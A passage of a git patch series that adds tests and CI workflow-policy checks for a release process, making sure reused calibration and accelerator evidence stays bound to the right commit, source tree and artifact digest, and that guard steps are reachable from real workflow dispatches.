manifest.evidence.identity.commit = reusedCommit; - manifest.evidence.identity.source_tree = reusedTree; - } - const rejected = evaluate("pre_publish", manifests, null, trusted, null, null, ({ binding }) => { - if (binding !== "native_fingerprint") throw new Error(`unknown reuse binding ${binding}`); - return fingerprint; + const cellIds = acceleratorCellIds(); + assert.equal(cellIds.length, 3); + reuseAcceleratorExecution(trusted, manifests); + const proof = fingerprintReuse(); + const proved = []; + const resolved = []; + const accepted = evaluate("pre_publish", manifests, null, trusted, null, null, (request) => { + proved.push(request); + return proof.verify(request); + }, (commit) => { + resolved.push(commit); + return proof.resolve(commit); }); - assert.equal(rejected.decision, "reject"); - for (const cellId of acceleratorCells) { - assert.ok(rejected.summary.failed_cells.includes(cellId), cellId); - const failures = rejected.evaluations.get(cellId).value.release_claim_evaluation.failures; + assert.equal(accepted.decision, "accept"); + assert.deepEqual(accepted.summary.input_errors, []); + assert.deepEqual(accepted.summary.failed_cells, []); + assert.equal(accepted.summary.counts.passed, 10); + // The closeout re-proves the binding for every reused cell, against its own checkout, and reads + // the reused commit's own tree rather than taking the row's word for what it is equating away. + assert.deepEqual(proved, cellIds.map(() => ({ + binding: "native_fingerprint", + releaseCommit: gitIdentity.commit, + reusedCommit, + }))); + assert.deepEqual(resolved, cellIds.map(() => reusedCommit)); + // The ledger states what was actually inherited: the earlier run, its commit, and its tree. + for (const cellId of cellIds) { + const row = accepted.ledger.cells.find(({ id }) => id === cellId); + assert.equal(row.status, "pass", cellId); + assert.equal(row.identity.producer_run_id, reusedRunId, cellId); + assert.equal(row.identity.commit, reusedCommit, cellId); + assert.equal(row.identity.source_tree, reusedTree, cellId); + } + // Nothing else moved: cells that were not reused stay bound to the publishing run and tree. + const packaged = accepted.ledger.cells.find(({ id }) => id === "package_identity:windows-x64"); + assert.equal(packaged.identity.commit, gitIdentity.commit); + assert.equal(packaged.identity.source_tree, gitIdentity.source_tree); +}); + +test("a native-fingerprint reuse row is refused wherever the equation stops holding", () => { + // The accept path above buys exactly one substitution, under one proof. Each row here breaks a + // different part of that and must still reject -- the equated key included, because equating an + // identity is not dropping it: the row still has to carry the reused commit's own value for it. + const rejections = [ + ["the row names a binding the group did not declare", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests, { binding: "source_tree" }); + }, "reuses evidence under an undeclared binding", fingerprintReuse()], + ["the reproved fingerprint is not the one the producer recorded", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests, { binding_value: "e".repeat(64) }); + }, "recorded native_fingerprint value does not bind this release", fingerprintReuse()], + ["the two commits' native fingerprints differ", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + }, "native_fingerprint reuse is unverified", { + verify: () => { + throw new Error("native fingerprint of reused commit does not match the release commit"); + }, + resolve: fingerprintReuse().resolve, + }], + ["the reused commit is not an ancestor of the release commit", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + }, "is not an ancestor of the release commit", fingerprintReuse({ ancestors: [] })], + ["the reused artifact expired", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests)[0].artifact.expired = true; + }, "artifact is expired", fingerprintReuse()], + // The equated identity, checked at its source. A reused row may be read at this release's + // tree only because it carries the reused commit's tree; a row naming some third tree is not + // the evidence the fingerprint proved anything about. + ["the row declares a tree that is not the reused commit's", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === acceleratorCellIds()[0]) + .evidence.identity.source_tree = "e".repeat(40); + }, "manifest source_tree is not the reused commit's source_tree the binding equates", + fingerprintReuse()], + ["the row declares this release's tree, which the reused run could not have produced it at", + (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === acceleratorCellIds()[0]) + .evidence.identity.source_tree = gitIdentity.source_tree; + }, "manifest source_tree is not the reused commit's source_tree the binding equates", + fingerprintReuse()], + // Keys the fingerprint does not determine are not equated, and are compared as written. + ["the row was produced in another repository", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === acceleratorCellIds()[0]) + .evidence.identity.repository = "TheGreenCedar/NotCodeStory"; + }, "identity repository does not match the requested release", fingerprintReuse()], + ["the row was produced at another version, which the fingerprint normalizes away rather than proves", + (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === acceleratorCellIds()[0]) + .evidence.identity.producer_version = "0.15.9"; + }, "producer_version must equal closeout version", fingerprintReuse()], + ["the row exercised an archive this release does not ship", (trusted, manifests) => { + reuseAcceleratorExecution(trusted, manifests); + manifests.find(({ cell_id: cellId }) => cellId === acceleratorCellIds()[0]) + .evidence.identity.artifact_sha256 = sha("some other release archive"); + }, "identity artifact_sha256 does not match the requested release", fingerprintReuse()], + ]; + for (const [label, mutate, expected, proof] of rejections) { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + mutate(trusted, manifests); + const rejected = evaluate( + "pre_publish", + manifests, + null, + trusted, + null, + null, + proof.verify, + proof.resolve, + ); + assert.equal(rejected.decision, "reject", label); + const messages = refusals(rejected); assert.ok( - failures.some(({ class: failureClass, message }) => - failureClass === "stale_sha" && message.includes("source tree does not match")), - `${cellId}: ${JSON.stringify(failures)}`, + messages.some((message) => message.includes(expected)), + `${label}: ${JSON.stringify(messages)}`, ); - // The commit the binding proof covered is admitted; only the tree it cannot equate refuses. + } +}); + +test("a closeout that cannot read the reused commit refuses to equate anything", () => { + // The binding proof alone does not say what is being equated away. Without this checkout's own + // reading of the reused commit, the release's tree would be standing in for whatever the row + // claimed -- so reuse is refused outright rather than granted on the producer map's word. + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseAcceleratorExecution(trusted, manifests); + const rejected = evaluate( + "pre_publish", + manifests, + null, + trusted, + null, + null, + fingerprintReuse().verify, + ); + assert.equal(rejected.decision, "reject"); + for (const cellId of acceleratorCellIds()) { assert.ok( - !failures.some(({ message }) => message.includes("commit does not match")), - `${cellId}: ${JSON.stringify(failures)}`, + rejected.summary.input_errors.some((message) => + message.includes(`${cellId} equates source_tree this closeout cannot resolve`)), + `${cellId}: ${JSON.stringify(rejected.summary.input_errors)}`, ); } }); +test("a reused accelerator container is still bound by its digest", () => { + const manifests = manifestsFor("pre_publish"); + const trusted = trustedProducersFor("pre_publish"); + reuseAcceleratorExecution(trusted, manifests); + const [cellId] = acceleratorCellIds(); + const artifactBindings = manifests.map((manifest) => { + const producer = trusted.producers.find(({ cell_id: candidate }) => candidate === manifest.cell_id); + return { + cell_id: manifest.cell_id, + producer_artifact: producer.producer_artifact, + artifact_id: producer.artifact.id, + artifact_digest: producer.artifact.digest, + manifest_sha256: canonicalManifestSha(manifest), + }; + }); + artifactBindings.find(({ cell_id: candidate }) => candidate === cellId) + .artifact_digest = `sha256:${"f".repeat(64)}`; + const proof = fingerprintReuse(); + const rejected = evaluate( + "pre_publish", + manifests, + null, + trusted, + null, + artifactBindings, + proof.verify, + proof.resolve, + ); + assert.equal(rejected.decision, "reject"); + assert.ok(rejected.summary.failed_cells.includes(cellId)); + assert.ok(rejected.evaluations.get(cellId).value.failures.some((message) => + message.includes("artifact_digest does not match Actions provenance"))); +}); + // ── Withheld accelerator claims ───────────────────────────────────────────────────────────── const withheldAttempt = String(nonClaimPolicy.maximum_run_attempts); diff --git a/scripts/tests/fixtures/release-claims/positive.json b/scripts/tests/fixtures/release-claims/positive.json index 44c5237c1..6ce95a847 100644 --- a/scripts/tests/fixtures/release-claims/positive.json +++ b/scripts/tests/fixtures/release-claims/positive.json @@ -17,7 +17,7 @@ "type": "source_behavior", "tier": "source", "status": "pass", - "graph_sha256": "b897679c2255b1b2278d8d5565e72617f34ac2e2c2ff830cd78ddd6e387f6498", + "graph_sha256": "b21965bca63639339c307fc516f682a6d1ad246534dd61b931b83a176c0bcc03", "observed_at": "2026-07-16T11:00:00.000Z", "expires_at": "2026-07-17T11:00:00.000Z", "identity": { From 71ace8a45ef5ea3ce5767038b19c4cd54774ed72 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 19:10:10 -0500 Subject: [PATCH 067/132] run the calibration freeze lineage guard where a caller reaches it The flag was added to the frozen hosted_package invocation, which no caller can reach: it is gated on quality_evidence_artifact, and every caller of packaged-platform-proof.yml is pinned to pass none. That invocation also hard-requires the release-evidence packet through --produce-qualification-evidence, so it cannot be made reachable without the optional-evidence dependency package proof is forbidden to have. Move the live enforcement onto the lane that actually carries a calibration bundle -- the frozen-candidate qualification dispatch -- with a --version-only proof that verifies the package identity, the frozen contract, and the bundle with its lineage, and stops before the runtime proof. Without the flag a version-only proof rejects calibration inputs, so the guard cannot be dropped silently. Pin reachability rather than presence: the policy now evaluates each guarded step's own condition against the input bindings the coordinator passes and requires some real dispatch to satisfy it. Both freeze lineage flag pins read the single backslash-continued invocation, closing the decoy-line bypass. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 337 +++++++++++++++++- .../scripts/check-workflow-policy.test.mjs | 52 +++ .../self_test_calibration_lineage.py | 140 +++++++- .github/workflows/packaged-platform-proof.yml | 63 +++- AGENTS.md | 8 +- docs/contributors/testing-matrix.md | 11 +- ...per-user-embedding-server-qualification.md | 30 +- 7 files changed, 609 insertions(+), 32 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 09348b28f..3f07ecd38 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -116,6 +116,215 @@ function occurrenceCount(value, fragment) { return value.split(fragment).length - 1; } +// A backslash-continued shell command is one logical invocation. Asserting a +// flag appears "somewhere after" an anchor is defeatable by parking the flag on +// a later decoy line, so every invocation-level pin below reads the single +// logical command that carries its anchor. +function shellInvocationsContaining(run, anchor) { + const commands = []; + let current = []; + for (const line of executableRunText(run).split(/\r?\n/u)) { + current.push(line); + if (!/\\\s*$/u.test(line)) { + commands.push(current.join("\n")); + current = []; + } + } + if (current.length > 0) commands.push(current.join("\n")); + return commands.filter(command => command.includes(anchor)); +} + +function requireFlagOnInvocation(violations, message, run, anchor, flag) { + const invocations = shellInvocationsContaining(run, anchor); + add( + violations, + invocations.length === 1 + && invocations[0].includes(flag) + && occurrenceCount(executableRunText(run), flag) === 1, + message, + ); +} + +// --------------------------------------------------------------------------- +// Reachability of a guarded step. +// +// A policy that only asserts a flag is present proves nothing when the step +// carrying it cannot run: that is exactly how the calibration freeze lineage +// guard sat "enabled" on a branch gated behind an input every caller pinned +// empty. The helpers below evaluate a step's own `if` against the input +// bindings a named caller actually passes, so making the step unreachable -- +// by narrowing the condition or by stopping the caller forwarding what it +// reads -- is a policy violation rather than a silent regression. +const conditionTokenPattern = /^(&&|\|\||!=|==|!|\(|\)|'[^']*'|[A-Za-z_][A-Za-z0-9_.-]*)/u; + +function tokenizeCondition(expression) { + const tokens = []; + let rest = String(expression).replace(/\s+/gu, " ").trim(); + while (rest.length > 0) { + const match = rest.match(conditionTokenPattern); + if (!match) { + throw new Error(`unsupported condition syntax near ${JSON.stringify(rest)}`); + } + tokens.push(match[1]); + rest = rest.slice(match[1].length).trimStart(); + } + return tokens; +} + +function conditionTruthy(value) { + return typeof value === "string" ? value !== "" : Boolean(value); +} + +function evaluateCondition(expression, lookup) { + const tokens = tokenizeCondition(expression); + let position = 0; + const peek = () => tokens[position]; + const take = () => tokens[position++]; + function primary() { + const token = take(); + if (token === undefined) throw new Error("condition ended early"); + if (token === "(") { + const value = disjunction(); + if (take() !== ")") throw new Error("unbalanced condition parentheses"); + return value; + } + if (token === "!") return !conditionTruthy(primary()); + if (token === "true") return true; + if (token === "false") return false; + if (token.startsWith("'")) return token.slice(1, -1); + return lookup(token); + } + function comparison() { + const left = primary(); + if (peek() === "==" || peek() === "!=") { + const operator = take(); + const right = primary(); + return operator === "==" ? left === right : left !== right; + } + return left; + } + function conjunction() { + let value = comparison(); + while (peek() === "&&") { + take(); + const right = comparison(); + value = conditionTruthy(value) ? right : value; + } + return value; + } + function disjunction() { + let value = conjunction(); + while (peek() === "||") { + take(); + const right = conjunction(); + value = conditionTruthy(value) ? value : right; + } + return value; + } + const result = disjunction(); + if (position !== tokens.length) throw new Error("trailing condition tokens"); + return conditionTruthy(result); +} + +function calleeInputSpecifications(workflow) { + const declared = object(at(workflow, "on", "workflow_call", "inputs")); + const specifications = new Map(); + for (const [name, raw] of Object.entries(declared)) { + const specification = object(raw); + const boolean = specification.type === "boolean"; + specifications.set(name, { + boolean, + default: specification.default ?? (boolean ? false : ""), + }); + } + return specifications; +} + +const dispatchForwardedPattern + = /^\$\{\{\s*inputs\.([A-Za-z_][A-Za-z0-9_-]*)\s*\|\|\s*''\s*\}\}$/u; + +// Classify what a caller can make each callee input be. A literal is fixed for +// every run of that caller; a dispatch input forwarded verbatim is chosen by +// whoever dispatches; anything else is treated as free so this check never +// invents reachability the caller cannot actually deliver. +function callerInputBindings(callerWorkflow, callerJob, specifications) { + const supplied = object(callerJob.with); + const dispatchInputs = object(at(callerWorkflow, "on", "workflow_dispatch", "inputs")); + const bindings = new Map(); + for (const [name, specification] of specifications) { + const domain = specification.boolean ? [true, false] : ["", "supplied-by-dispatch"]; + if (!(name in supplied)) { + bindings.set(name, { fixed: true, values: [specification.default] }); + continue; + } + const value = supplied[name]; + if (typeof value !== "string") { + bindings.set(name, { fixed: true, values: [value] }); + continue; + } + if (!value.includes("${{")) { + bindings.set(name, { fixed: true, values: [value] }); + continue; + } + const forwarded = value.match(dispatchForwardedPattern); + if (forwarded !== null && forwarded[1] in dispatchInputs) { + bindings.set(name, { fixed: false, values: domain }); + continue; + } + bindings.set(name, { fixed: false, values: domain }); + } + return bindings; +} + +// Enumerate every value the named caller can produce for the identifiers the +// condition reads, and report whether any of them makes the step run. +function conditionIsSatisfiable(condition, bindings, extraDomains) { + let identifiers; + try { + identifiers = [...new Set(tokenizeCondition(condition).filter(token => + token.includes(".")))]; + } catch { + return { satisfiable: false, reason: "condition syntax is not evaluable" }; + } + const domains = []; + for (const identifier of identifiers) { + if (identifier in extraDomains) { + domains.push([identifier, extraDomains[identifier]]); + continue; + } + if (!identifier.startsWith("inputs.")) { + return { satisfiable: false, reason: `${identifier} is not a caller-bound input` }; + } + const binding = bindings.get(identifier.slice("inputs.".length)); + if (binding === undefined) { + return { satisfiable: false, reason: `${identifier} is not a declared input` }; + } + domains.push([identifier, binding.values]); + } + const assignment = new Map(); + const search = (index) => { + if (index === domains.length) { + try { + return evaluateCondition(condition, name => { + if (!assignment.has(name)) throw new Error(`unbound ${name}`); + return assignment.get(name); + }); + } catch { + return false; + } + } + const [identifier, values] = domains[index]; + for (const value of values) { + assignment.set(identifier, value); + if (search(index + 1)) return true; + } + return false; + }; + return search(0) + ? { satisfiable: true, reason: "" } + : { satisfiable: false, reason: "no caller dispatch satisfies the condition" }; +} + function requireNoCalibrationReferences(violations, file, workflow) { add( violations, @@ -2233,6 +2442,22 @@ function expectedPostPublishRows() { ]; } +// The asset targets the default (full) scope actually builds. A step gated on +// matrix.asset_target is only reachable while its target survives here. +function packageMatrixAssetTargets(expression) { + const match = typeof expression === "string" && expression.match( + /\|\| '([^']+)'\) \}\}$/u, + ); + if (!match) return []; + try { + return list(object(JSON.parse(match[1])).include) + .map(row => object(row).asset_target) + .filter(target => typeof target === "string"); + } catch { + return []; + } +} + function validatePackageMatrixExpression(violations, expression, graph) { const match = typeof expression === "string" && expression.match( /fromJSON\(inputs\.calibration_mode && '([^']+)' \|\| inputs\.scope == 'linux' && '([^']+)' \|\| inputs\.scope == 'windows' && '([^']+)' \|\| inputs\.scope == 'macos' && '([^']+)' \|\| '([^']+)'\)/u, @@ -2742,11 +2967,16 @@ function validatePackagedProof(workflows, violations, graph) { === "matrix.asset_target == 'linux-x64' && (inputs.calibration_mode || inputs.quality_evidence_artifact != '')", `${file} qualification driver must skip the standard server-behavior path`, ); + // The calibration bundle -- not the optional release-evidence packet -- is + // what these steps consume, and the frozen-candidate coordinator is forbidden + // to pass release evidence at all. Gating them on quality evidence made the + // whole frozen branch unreachable; gating them on the bundle they download is + // what the freeze lineage proof below needs to run. requireCalibrationProducerBoundary( violations, file, job, - "matrix.asset_target == 'linux-x64' && !inputs.calibration_mode && inputs.quality_evidence_artifact != ''", + "matrix.asset_target == 'linux-x64' && !inputs.calibration_mode && inputs.calibration_bundle_artifact != ''", ); requireStepRun( violations, @@ -2777,31 +3007,100 @@ function validatePackagedProof(workflows, violations, graph) { job, "Packaged per-user server calibration or qualification", ); - // The calibration-to-package source-lineage guard exists only when this flag - // reaches the frozen invocation. Without it the packaged release can ship a - // constant set measured on a materially different tree, so pin the flag to - // the hosted_package call rather than anywhere in the step, and keep the - // build checkout deep enough for the ancestor and diff probes it performs. - const packagedProofExecutable = executableRunText(packagedProofRun); - const frozenInvocationIndex = packagedProofExecutable - .indexOf("--proof-tier hosted_package"); - add( - violations, - frozenInvocationIndex >= 0 - && occurrenceCount( - packagedProofExecutable, - "--enforce-calibration-freeze-lineage", - ) === 1 - && packagedProofExecutable - .slice(frozenInvocationIndex) - .includes("--enforce-calibration-freeze-lineage"), + // The full frozen hosted_package qualification also carries the flag, and + // must keep carrying it, but it cannot run: --produce-qualification-evidence + // hard-requires the exact-head release-evidence packet at any non-calibration + // tier, and every caller of this workflow is pinned to pass no release + // evidence. That invocation is therefore a latent contract, not the live + // guard. Pin the flag to the hosted_package invocation itself -- the same + // logical command, so a decoy line after it does not count. + requireFlagOnInvocation( + violations, `${file} frozen packaged qualification must pass --enforce-calibration-freeze-lineage so the calibration-to-package source lineage is proved, not assumed`, + packagedProofRun, + "--proof-tier hosted_package", + "--enforce-calibration-freeze-lineage", + ); + // The live guard. --version-only stops before the runtime proof, so it needs + // no release evidence and no qualification driver, but it still loads and + // verifies the authenticated calibration bundle -- and without the + // enforcement flag a version-only proof rejects calibration inputs outright, + // so removing the flag breaks this step loudly instead of disabling the + // guard. `check-packaged-agent-proof.py --self-test` proves both directions. + const lineageStepName = "Prove frozen calibration source lineage"; + const lineageProof = namedStep(job, lineageStepName); + requireStepRun(violations, file, job, lineageStepName, [ + 'test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = frozen', + "calibration-bundle.json", + '--calibration-bundle "$calibration_bundle"', + "--calibration-producer-run-id", + "--calibration-producer-artifact", + "--proof-tier hosted_package", + "--version-only", + '--expected-source-sha "$SOURCE_SHA"', + '--expected-source-tree "$SOURCE_TREE"', + "--enforce-calibration-freeze-lineage", + ]); + requireFlagOnInvocation( + violations, + `${file} ${lineageStepName} must pass --enforce-calibration-freeze-lineage on the invocation that reads the calibration bundle`, + stepRun(job, lineageStepName), + "--calibration-bundle", + "--enforce-calibration-freeze-lineage", + ); + add( + violations, + lineageProof?.shell === "bash" + && object(lineageProof?.env).SOURCE_SHA === "${{ steps.source-identity.outputs.sha }}" + && object(lineageProof?.env).SOURCE_TREE === "${{ steps.source-identity.outputs.tree }}" + && object(lineageProof?.env).CALIBRATION_ARTIFACT + === "${{ inputs.calibration_bundle_artifact }}" + && object(lineageProof?.env).CALIBRATION_RUN_ID + === "${{ inputs.calibration_bundle_run_id }}", + `${file} ${lineageStepName} must bind the verified source identity and the authenticated producer`, ); add( violations, object(namedStep(job, "Checkout")?.with)["fetch-depth"] === 0, `${file} package build must keep full history for the calibration freeze lineage probe`, ); + // Reachability, not presence. A flag on a step no caller can reach is the + // vacuous guard this check exists to prevent, so evaluate the step's own + // condition against the bindings the frozen-candidate coordinator passes and + // require some real dispatch of it to run the step. + const coordinatorFile = "packaged-platform-pr.yml"; + const coordinator = workflows.get(coordinatorFile); + const coordinatorPackaged = object(at(coordinator, "jobs", "packaged-proof")); + const bindings = callerInputBindings( + object(coordinator), + coordinatorPackaged, + calleeInputSpecifications(workflow), + ); + const fullScopeTargets = packageMatrixAssetTargets( + at(workflow, "jobs", "build", "strategy", "matrix"), + ); + for (const [stepName, stepValue] of [ + [lineageStepName, lineageProof], + ["Authenticate calibration bundle producer", namedStep(job, "Authenticate calibration bundle producer")], + ["Download frozen calibration bundle", namedStep(job, "Download frozen calibration bundle")], + ]) { + const reachability = conditionIsSatisfiable( + String(stepValue?.if ?? "false"), + bindings, + { "matrix.asset_target": fullScopeTargets }, + ); + add( + violations, + reachability.satisfiable, + `${file} step ${stepName} must be reachable from a ${coordinatorFile} frozen-candidate dispatch: ${reachability.reason}`, + ); + } + add( + violations, + bindings.get("calibration_bundle_artifact")?.fixed === false + && bindings.get("calibration_bundle_run_id")?.fixed === false, + `${coordinatorFile} packaged proof must forward the dispatched calibration bundle identity so the freeze lineage guard can run`, + ); const hostedCalibrationUpload = namedStep(job, "Upload hosted Linux calibration runs"); add( violations, diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index cf7bff56f..514a40c9c 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -760,6 +760,58 @@ test("exact proof policy rejects trigger and identity downgrades", async (t) => ["package build loses the history the freeze lineage probe reads", packagedProofFile, workflow => { draftStep(workflow.jobs.build, "Checkout").with["fetch-depth"] = 1; }, /package build must keep full history for the calibration freeze lineage probe/u], + // A flag pinned only by "appears after this anchor" is defeated by parking a + // copy on a later decoy line while the real invocation loses it. Both freeze + // lineage pins read the single backslash-continued command instead. + ["freeze lineage flag parked on a decoy after the frozen invocation", packagedProofFile, workflow => { + const step = draftStep( + workflow.jobs.build, + "Packaged per-user server calibration or qualification", + ); + const stripped = step.run.replace(" --enforce-calibration-freeze-lineage \\\n", ""); + assert.notEqual(stripped, step.run, "freeze lineage flag was already absent"); + step.run = `${stripped}echo skipping python .github/scripts/check-packaged-agent-proof.py \\\n --enforce-calibration-freeze-lineage \\\n --out-dir target/decoy\n`; + }, /must pass --enforce-calibration-freeze-lineage so the calibration-to-package source lineage is proved, not assumed/u], + ["reachable lineage proof stops enforcing the freeze lineage", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + const removed = step.run.replace(" --enforce-calibration-freeze-lineage \\\n", ""); + assert.notEqual(removed, step.run, "freeze lineage flag was already absent"); + step.run = removed; + }, /must pass --enforce-calibration-freeze-lineage on the invocation that reads the calibration bundle/u], + ["reachable lineage proof parks the flag on a decoy", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + const stripped = step.run.replace(" --enforce-calibration-freeze-lineage \\\n", ""); + assert.notEqual(stripped, step.run, "freeze lineage flag was already absent"); + step.run = `${stripped}echo skipping python .github/scripts/check-packaged-agent-proof.py \\\n --enforce-calibration-freeze-lineage \\\n --out-dir target/decoy\n`; + }, /must pass --enforce-calibration-freeze-lineage on the invocation that reads the calibration bundle/u], + ["reachable lineage proof stops binding the verified source identity", packagedProofFile, workflow => { + delete draftStep(workflow.jobs.build, "Prove frozen calibration source lineage").env.SOURCE_SHA; + }, /must bind the verified source identity and the authenticated producer/u], + ["reachable lineage proof is removed entirely", packagedProofFile, workflow => { + workflow.jobs.build.steps = workflow.jobs.build.steps + .filter(({ name }) => name !== "Prove frozen calibration source lineage"); + }, /must contain named step Prove frozen calibration source lineage/u], + // Reachability, not presence. Each of these leaves the flag exactly where it + // is and only makes the step impossible to reach from the frozen-candidate + // coordinator -- which is how the guard went dark the first time. + ["lineage proof re-gated on the release evidence its caller cannot pass", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + step.if = `${step.if} && inputs.quality_evidence_artifact != ''`; + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["lineage proof re-gated onto the unfrozen calibration collection", packagedProofFile, workflow => { + draftStep(workflow.jobs.build, "Prove frozen calibration source lineage").if + = "matrix.asset_target == 'linux-x64' && inputs.calibration_mode && inputs.calibration_bundle_artifact != ''"; + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["lineage proof moved onto a package cell the matrix never builds", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + step.if = step.if.replace("linux-x64", "linux-arm64"); + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["frozen-candidate coordinator stops forwarding the calibration bundle", packagedCoordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.calibration_bundle_artifact = ""; + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["frozen-candidate coordinator stops forwarding the producer run", packagedCoordinatorFile, workflow => { + workflow.jobs["packaged-proof"].with.calibration_bundle_run_id = ""; + }, /packaged proof must forward the dispatched calibration bundle identity so the freeze lineage guard can run/u], ["package evaluation downloads calibration on the standard path", packagedProofFile, workflow => { draftStep(workflow.jobs.build, "Authenticate calibration bundle producer").if = "matrix.asset_target == 'linux-x64'"; diff --git a/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py b/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py index c02ea4073..03feb1b93 100644 --- a/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py +++ b/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py @@ -12,6 +12,7 @@ from __future__ import annotations +import argparse import json import os import subprocess @@ -19,11 +20,12 @@ from collections.abc import Iterable from pathlib import Path +from . import archive_proof from .calibration_lineage import ( CONSTANT_SET_FREEZE_PATH, verify_calibration_source_lineage, ) -from .foundation import ProofFailure, require +from .foundation import REPOSITORY_ROOT, ProofFailure, require CARGO_MANIFEST_PATH = "crates/codestory-cli/Cargo.toml" _GIT_ENVIRONMENT = { @@ -254,6 +256,141 @@ def _rejects_missing_freeze_and_unrelated_history( ) +_PROBE_MANIFEST = { + "source": {"commit": "a" * 40, "tree": "b" * 40, "tracked_dirty": False}, + "asset_target": "linux-x64", + "release_version": "0.0.0", +} +_PROBE_CONTRACT = { + "constant_set": {}, + "protocol_sha256": "protocol", + "constant_set_sha256": "constants", + "measurement_protocol_sha256": "measurement", +} + + +def _lineage_probe_arguments(**overrides: object) -> argparse.Namespace: + """The exact argument shape the packaged proof lineage step dispatches.""" + values: dict[str, object] = { + "archive": Path("archive.tar.gz"), + "checksum_file": Path("SHA256SUMS.txt"), + "expected_version": "0.0.0", + "expected_source_sha": "a" * 40, + "expected_source_tree": "b" * 40, + "measurement_protocol": Path("measurement-protocol.json"), + "out_dir": Path("target/packaged-calibration-lineage"), + "project": None, + "engine_policy": None, + "offline": False, + "version_only": True, + "proof_tier": "hosted_package", + "server_behavior_only": False, + "ground_only": False, + "produce_qualification_evidence": False, + "qualification_evidence": None, + "retrieval_quality_evidence": None, + "enforce_calibration_freeze_lineage": True, + "calibration_bundle": Path("calibration-bundle.json"), + "calibration_producer_run_id": "1234567890", + "calibration_producer_artifact": "embedding-calibration-bundle-" + "c" * 40, + "timeout_secs": 1800, + } + values.update(overrides) + return argparse.Namespace(**values) + + +def _run_lineage_probe(args: argparse.Namespace) -> dict: + """Run the real proof pipeline with only archive and CLI layers stubbed. + + Everything the lineage step depends on -- the frozen-contract requirement, + the calibration bundle load, and the enforcement flag reaching + ``verify_calibration_bundle`` -- stays real. Unpacking a synthetic archive + and executing a packaged binary do not, because neither decides whether the + guard runs. + """ + observed: dict = {} + originals: dict = {} + + def stub(name: str, value: object) -> None: + originals[name] = getattr(archive_proof, name) + setattr(archive_proof, name, value) + + def record_contracts(manifest, protocol, *, require_frozen): + observed["require_frozen"] = require_frozen + return _PROBE_CONTRACT + + def record_bundle(path, contract, **kwargs): + observed["bundle_verification"] = {"path": path, **kwargs} + return {"freeze_digest": "digest", "source_lineage": {"verified": True}} + + stub("unpack_archive", lambda archive, destination: None) + stub("find_cli", lambda root: Path("codestory-cli")) + stub("load_native_manifest", lambda root, cli, version: _PROBE_MANIFEST) + stub("verify_package_source", lambda args, manifest: None) + stub("verify_package_server_contracts", record_contracts) + stub("verify_calibration_bundle", record_bundle) + stub("isolated_environment", lambda root, policy, offline: {}) + stub("package_summary", lambda *call, **keywords: {"package_contract": {}}) + stub("write_json", lambda path, payload: None) + try: + archive_proof.run_archive_proof(args) + observed["outcome"] = "accepted" + except ProofFailure as failure: + observed["outcome"] = str(failure) + finally: + for name, value in originals.items(): + setattr(archive_proof, name, value) + return observed + + +def _version_only_invocation_enforces_the_lineage() -> None: + """Pin the CLI shape the reachable packaged-proof lineage step dispatches. + + The full frozen ``hosted_package`` qualification cannot run without the + optional exact-head release-evidence packet, which the frozen-candidate + coordinator is forbidden to carry. ``--version-only`` stops before the + runtime proof but still loads and verifies the authenticated bundle, so it + is the shape that can actually enforce the freeze lineage in CI. If that + stops being true this test fails rather than the guard silently going dark. + """ + enforced = _run_lineage_probe(_lineage_probe_arguments()) + require( + enforced["outcome"] == "accepted", + f"the version-only lineage invocation was rejected: {enforced['outcome']}", + ) + require( + enforced.get("require_frozen") is True, + "the version-only lineage invocation stopped requiring a frozen contract", + ) + verification = enforced.get("bundle_verification") + require( + isinstance(verification, dict) + and verification.get("enforce_source_lineage") is True + and verification.get("frozen_source") == _PROBE_MANIFEST["source"] + and verification.get("repository_root") == REPOSITORY_ROOT + and verification.get("expected_producer_run_id") == "1234567890" + and verification.get("expected_producer_artifact") + == "embedding-calibration-bundle-" + "c" * 40, + "the version-only lineage invocation did not enforce the source lineage " + f"against the packaged source: {verification}", + ) + # The flag is load-bearing rather than decorative here: dropping it does not + # quietly downgrade this step to an unchecked package smoke, it makes the + # bundle arguments illegal and 